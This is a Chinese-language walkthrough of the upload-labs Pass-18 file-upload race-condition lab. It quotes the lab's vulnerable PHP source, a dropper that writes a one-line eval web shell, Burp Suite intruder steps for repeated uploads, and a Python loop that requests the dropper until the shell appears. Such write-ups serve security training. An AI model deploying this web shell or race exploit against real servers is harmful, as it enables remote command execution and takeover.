檔案上傳 upload-labs Pass-18 條件競爭
阿新 • • 發佈:2022-04-09
Pass-18 條件競爭
審計原始碼
$is_upload = false; $msg = null; if(isset($_POST['submit'])){ $ext_arr = array('jpg','png','gif'); $file_name = $_FILES['upload_file']['name']; $temp_file = $_FILES['upload_file']['tmp_name']; $file_ext = substr($file_name,strrpos($file_name,".")+1); $upload_file = UPLOAD_PATH . '/' . $file_name; if(move_uploaded_file($temp_file, $upload_file)){ if(in_array($file_ext,$ext_arr)){ $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext; rename($upload_file, $img_path); $is_upload = true; }else{ $msg = "只允許上傳.jpg|.png|.gif型別檔案!"; unlink($upload_file); } }else{ $msg = '上傳出錯!'; } }
可以看到首先使用move_uploaded_file
將檔案進行上傳,然後進行字尾名判斷,如果不滿足.jpg|.png|.gif
檔案型別,直接刪除
這裡的漏洞就是我們的檔案首先可以上傳到服務區,伺服器經過if語句
判斷是否刪除該檔案
那麼我們在伺服器沒有刪除檔案的時候,進行訪問上傳的php
檔案,上傳php
訪問執行後會生成一個一句話木馬檔案
上傳檔案取名為create-shell.php
<?php fwrite(fopen('shell.php','w'),'<?php @eval($_POST[cmd]);?>');?>
首先我們使用burpsuite
抓包,爆破模式一直上傳檔案
首先clear
在末尾加入
1
,然後點選設定為變數然後點選
payload
然後點選
Options
,設定完點選Start attack
為開始攻擊,這裡先展示不開始攻擊寫一個訪問
creat-shell.php
檔案,並判斷shell.php
是否已經生成的python
指令碼轉載於:【upload-labs】條件競爭pass-17~pass-18
import requests url1 = "http://ip/upload-labs/upload/create-shell.php" # 定義訪問 creat-shell.php url2 = "http://ip/upload-labs/upload/shell.php" # 定義訪問 shell.php while True: # 定義死迴圈 html1 = requests.get(url1) # 請求 create-shell.php html2 = requests.get(url2) # 請求 shell.php if html2.status_code == 200: # 如果 shell.php 返回的http狀態碼為200 print('Good job,Win Win Win') # 列印 Good job..... break